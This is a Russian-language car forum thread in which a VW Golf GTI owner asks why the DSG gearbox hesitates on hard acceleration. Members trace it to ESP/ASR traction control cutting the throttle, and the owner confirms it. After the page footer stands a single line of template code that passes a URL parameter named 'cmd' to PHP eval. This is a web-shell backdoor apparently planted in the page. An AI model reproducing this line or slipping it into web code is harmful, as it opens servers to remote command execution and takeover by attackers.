+ Ответить в теме
Страница 1 из 2 1 2 ПоследняяПоследняя
Показано с 1 по 10 из 20

Тема: DSG затыкается


  1. #1
    Собственно вопрос. После спокойной езды в режиме D при резком нажатие на педаль газа происходит секундное тупление, т.е машина как бы поехала, потом затыакается, думает потом едет. Лана, я думал в режиме D отупляется ибо шипко умная.
    Однако сегодня та же фигня в режиме S. Переключился, проехал метров 20, резко прижал - заткнулась.
    У кого было пообное? Как лечить? Из за чего она себя так ведет? :blink:

  2. #2
    Это из-за ЕСР или как там его. На летней резине все будет хор., или кнопочку надо нажать, что бы буксовать безприпятственно ;)

  3. #3
    Тагда не понимам, обьясните люди добрые. Почему эта сволочь (ЕСП) позволяла мне довольно часто и сильно буксовать на снегу, а тут почти сухой асфальт и ей вдруг вздумалось вмешиваться? :huh:

  4. #4
    <div class='quotetop'>Цитата(cbrrr &#064; Mar 11 2008, 22&#58;12) <{POST_SNAPBACK}></div><div class='quotemain'>Это из-за ЕСР или как там его. На летней резине все будет хор., или кнопочку надо нажать, что бы буксовать безприпятственно ;)[/b][/quote]
    ESP включается и ее включение отображается значком. он моргает. надо посмотреть моргает ли он. даже при включенной ЕСП она позволяет немного буксовать. проблема недостаточно описана, чтобы что то посоветовать.

  5. #5
    Ок, изложу.
    Резина не шипы. Асфальт не мокрый, но 2 градуса тепла подразумевают не очень хорошее сцепление. ЕСП сейчас, на мой взгляд, моргает до 60 постоянно :unsure: . Правда, когда в S притапливаешь, особенно на индикацию не смотришь.
    Как происходи затыкание. При кик дауне происходит резкий набор скорости(около секунды может пол секунды) , потом коробка вдруг тормозит (очень похоже на срабатывание ограничителя оборотов на механнике) обороты падают, легкий толчок как подключение передачи , потом втыкает нормальную передачу и прет как обычно.
    Коробка раздумывает... раздумья позволяют Пежо 1,6 уехать на корпус при старте, жена меня тут поглумила :blink:

  6. #6
    GTI-Racing IvanGTIV is on a distinguished road Аватар для IvanGTIV
    Регистрация
    06.10.2006
    Машина
    GTI V DSG, REVO, H&R, KONI sport, H2sport, Goodridge, RBF600, DS2500, ATE PowerDisc, OZ racing
    Сообщений
    1,885
    <div class='quotetop'>Цитата(Жека &#064; Mar 11 2008, 21&#58;31) <{POST_SNAPBACK}></div><div class='quotemain'>Ок, изложу.
    Резина не шипы. Асфальт не мокрый, но 2 градуса тепла подразумевают не очень хорошее сцепление. ЕСП сейчас, на мой взгляд, моргает до 60 постоянно :unsure: . Правда, когда в S притапливаешь, особенно на индикацию не смотришь.
    Как происходи затыкание. При кик дауне происходит резкий набор скорости(около секунды может пол секунды) , потом коробка вдруг тормозит (очень похоже на срабатывание ограничителя оборотов на механнике) обороты падают, легкий толчок как подключение передачи , потом втыкает нормальную передачу и прет как обычно.
    Коробка раздумывает... раздумья позволяют Пежо 1,6 уехать на корпус при старте, жена меня тут поглумила :blink:[/b][/quote]

    Похоже именно на работу ЕСП (а точнее АСР - антипробуксовочной системы) - прикрытие дросселя. Выражается во внезапной кратковременной потере тяги или "затыкании" при разгоне. Проверить это оно или что-то не так с ДСГ или мотором очень просто - на одном и том же месте в одном и том же режиме проехать с ЕСП вкл. и затем выкл. - если при ЕСП выкл. "затыка" не будет, значит все ок и просто АСР прикрывает дроссель по причине пробуксовки (когда ЕСП вкл.).

    Кстати практика показывает, что при активной езде ЕСП (АСР) лучше выключать - пару раз попадал в ситуации когда машина на разгоне попадала в лужицу и АСР закрывало дроссель как раз когда мне по ситуации нужно было ускорится - очень неприятно. Кстати может кто не знает - когда нажимаешь кнопку ЕСП ОФФ, на самом деле полностью выключается только антипробуксовочная система АСР, а ЕСП, которая отвечает за динамическую стабилизацию (противостоит сносу/заносу) просто переходит на несколько более либеральный режим (как-бы повышается порог срабатывания) т.е. все равно она ставит машину обратно на траекторию в случае чего.

  7. #7
    Спасибо. Вы были правы, все ЕСП, она чертовка ;) , сегодня покатал с отключенной, все изумительно (блин как же она все таки прет :blink: ) , коробка не тупит и не затыкается :rolleyes:

  8. #8
    <div class='quotetop'>Цитата(Жека &#064; Mar 12 2008, 18&#58;57) <{POST_SNAPBACK}></div><div class='quotemain'>Спасибо. Вы были правы, все ЕСП, она чертовка ;) , сегодня покатал с отключенной, все изумительно (блин как же она все таки прет :blink: ) , коробка не тупит и не затыкается :rolleyes:[/b][/quote]



    +1

  9. #9
    Мимо проходил dionisiy2007 is on a distinguished road Аватар для dionisiy2007
    Регистрация
    31.08.2008
    Сообщений
    8
    Насколько я знаю,затыкается...как бы сказать...электроника подстраивается под нормы токсичности.
    Поправьте меня, у всех владельцев DSG затыкается при резком нажатии на газ...
    А есп,я считаю изюмительно работает, правда пока зимой еще не ездил, самому интересно как будет работать

  10. #10
    ЕСП значок на приборке далеко не всегда успевает загорется [img]style_emoticons/<#EMO_DIR#>/smile.gif[/img]

+ Ответить в теме
Страница 1 из 2 1 2 ПоследняяПоследняя

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}